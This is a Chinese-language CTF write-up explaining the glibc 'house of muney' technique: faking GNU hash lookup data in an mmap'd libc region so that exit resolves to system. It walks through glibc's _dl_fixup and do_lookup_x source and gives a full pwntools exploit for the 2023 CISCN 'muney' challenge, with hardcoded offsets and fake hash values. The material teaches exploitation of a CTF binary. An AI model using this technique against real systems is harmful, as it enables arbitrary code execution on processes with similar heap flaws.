house_of_muney
首先介绍一下house of muney 这个利用原理:
在了解过_dl_runtime_resolve的前提下,当程序保护开了延迟绑定的时候,程序第一次调用相关函数的时候会执行下面的命令
push n
push ModuleID
jmp _dl_runtime_resolve
这里的n
对应的是这个符号在rel.plt
重定位表中的下标然后第二个MoudleID
则一般是本程序的link_map
结构体的地址,解析来就进入到了_dl_runtime_resolve
函数
我们来看看这个函数做了什么
/* This function is called through a special trampoline from the PLT the first time each PLT entry is called. We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.Future calls will bounce directly from the PLT to the
function. */
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
可以看见又继续调用_dl_lookup_symbol_x
这个函数 ,它会开始在link_map寻找符号,实际上调用了do_lookup_x
* Inner part of the lookup functions. We return a value > 0 if we
found the symbol, the value 0 if nothing is found and < 0 if
something bad happened. */
static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
unsigned long int *old_hash, const ElfW(Sym) *ref,
struct sym_val *result, struct r_scope_elem *scope, size_t i,
const struct r_found_version *const version, int flags,
struct link_map *skip, int type_class, struct link_map *undef_map)
{
size_t n = scope->r_nlist;
/* Make sure we read the value before proceeding. Otherwise we
might use r_list pointing to the initial scope and r_nlist being
the value after a resize. That is the only path in dl-open.c not
protected by GSCOPE. A read barrier here might be to expensive. */
__asm volatile ("" : "+r" (n), "+m" (scope->r_list));
struct link_map **list = scope->r_list;
do
{
const struct link_map *map = list[i]->l_real;
/* Here come the extra test needed for `_dl_lookup_symbol_skip'. */
if (map == skip)
continue;
/* Don't search the executable when resolving a copy reloc. */
if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
continue;
/* Do not look into objects which are going to be removed. */
if (map->l_removed)
continue;
/* Print some debugging info if wanted. */
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
_dl_debug_printf ("symbol=%s; lookup in file=%s [%lu]\n",
undef_name, DSO_FILENAME (map->l_name),
map->l_ns);
/* If the hash table is empty there is nothing to do here. */
if (map->l_nbuckets == 0)
continue;
Elf_Symndx symidx;
int num_versions = 0;
const ElfW(Sym) *versioned_sym = NULL;
/* The tables for this map. */
// 找到符号表和字符串表(当前link_map)
const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);
const ElfW(Sym) *sym;
// 获取bitmask
const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
if (__glibc_likely (bitmask != NULL))
{
// 获取bitmask_word,这里需要伪造
ElfW(Addr) bitmask_word
= bitmask[(new_hash / __ELF_NATIVE_CLASS)
& map->l_gnu_bitmask_idxbits];
unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
& (__ELF_NATIVE_CLASS - 1));
if (__glibc_unlikely ((bitmask_word >> hashbit1)
& (bitmask_word >> hashbit2) & 1))
{
// 获取bucket,这里需要伪造
Elf32_Word bucket = map->l_gnu_buckets[new_hash
% map->l_nbuckets];
if (bucket != 0)
{
// hasharr,这里也需要伪造对应的值
const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
do
if (((*hasharr ^ new_hash) >> 1) == 0)
{
symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
while ((*hasharr++ & 1u) == 0);
}
}
//....
}
这里是roderick师傅做了注释之后的代码,上面标注了我们需要伪造的值
- bitmask_word
- bucket
- hasharr
还有两个比较重要的值就是set_name 和set_value,前半部分是通过查找该函数符号和strtab之间的偏移得到的,不同的程序得到的不同,而set_vaule是通过相应的libc环境编译而来的的对于需求函数,这里也是通过调试获得,简而言之,如果控制了set_name
就可以正确解析到相应的函数名,控制了set_vaule
就可以控制调用函数解析到需求函数的地址进而调用需求函数。
在2023年的CISCN有一道题目
muney
保护策略
ida逆向分析
是一个堆题,前提是需要实验http格式发送相应选项,让web手给说个形式
比如使用
def edit(idx,offset,content_length,content):
payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content
来定义edit函数,其余的以此类推
这题的漏洞主要在edit函数,只限制不能超过申请堆块大小,但是没有限制长度为负数,也是就可以修改到低地址处的内容,比如可以修改堆块size
此外这题的malloc函数给的范围在0xFFFFF以上及申请0x100000大小的堆块以上,那么意味着申请的堆块由mmp直接分配,那么会在libc上面mmp出一块内存
给的后门是exit(/bin/sh)
如果给exit解析成system即可拿到shell
这里就需要伪造libc里面的一系列上面提到的内容
这里给出调试脚本
from gt import *
con("amd64")
p = process("./muney")
#p = remote("127.0.0.1","9999")
def create(size,content_length,content):
payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
return payload
def edit(idx,offset,content_length,content):
payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content
return payload
def delete(idx):
payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16
return payload
def quit():
payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
return payload
gdb.attach(p)
p.sendafter("HTTP_Parser> ",quit())
p.interactive()
这里需要源码级的调试,在事先导入源码目录
push n ...... 进入 _dl_runtime_resolve
继续步入进入_dl_fixup
在这里先空走一轮while循环,因为这里看的是第二次解析的地址
这里看一下bitmask_word 的内容
继续往后走,这里看一下bucket 的内容
然后看一下hasharr的内容
因为环境是20.04环境,我这里使用20.04虚拟机来找偏移
这里0x46a40是exit的set_vuale set_name需要找一下strtab和exit字符串的偏移
这里需要尝试,找到哪一个才是真正的偏移。然后需要找一下同环境下的system的set_vuale
写一个程序验证一下
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
char *buff;
read(0,buff,0x20);
system("/bin/sh");
return 0;
}
需要开启延迟绑定,然后关闭pie保护
找到发现是0x52290
那么现在该有的都有,只需要找一下偏移即可
这里要注意,实际的偏移和输入的偏移相差0x1000,因为在起始地址时候减少了0x1000
所以这里要输入0x152b78,以此类推
EXP
from gt import *
con("amd64")
#p = process("./muney")
p = remote("127.0.0.1","9999")
def create(size,content_length,content):
payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
return payload
def edit(idx,offset,content_length,content):
payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content
return payload
def delete(idx):
payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16
return payload
def quit():
payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
return payload
p.sendafter("HTTP_Parser> ",create(0x150000,16,'a'*16))
p.sendafter("HTTP_Parser> ",edit(0,-8,3,b'\x02\x10\x17'))
#gdb.attach(p)
p.sendafter("HTTP_Parser> ",delete(0))
p.sendafter("HTTP_Parser> ",create(0x171002,16,'b'*16))
p.sendafter("HTTP_Parser> ",edit(0,0x152b78,8,p64(0xf010028c0201130e)))#write data to bitmask_word
p.sendafter("HTTP_Parser> ",edit(0,0x152ca0,1,p8(0x86)))#write data to bucket
p.sendafter("HTTP_Parser> ",edit(0,0x153d6c,8,p64(0x7c967e3e7c93f2a0)))#write data to hasharr
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x8,3,b"\x90\x22\x05"))#write data to exit@st_value
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10,3,b"\xbd\xa1\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+6,1,b"\x0f"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",quit())
p.interactive()
这里面有几个点需要注意,第一个是bitmask_word的内容做了一点改变,用看见的内容不行,用这个也许0xaaa101010210130e也就是后4位需要注意。
还有一个就是set_name这个后面4位是需要调试出来的,第四位和第六位程序里面里面得到
result
参考
https://www.cnblogs.com/LynneHuan/p/17822130.html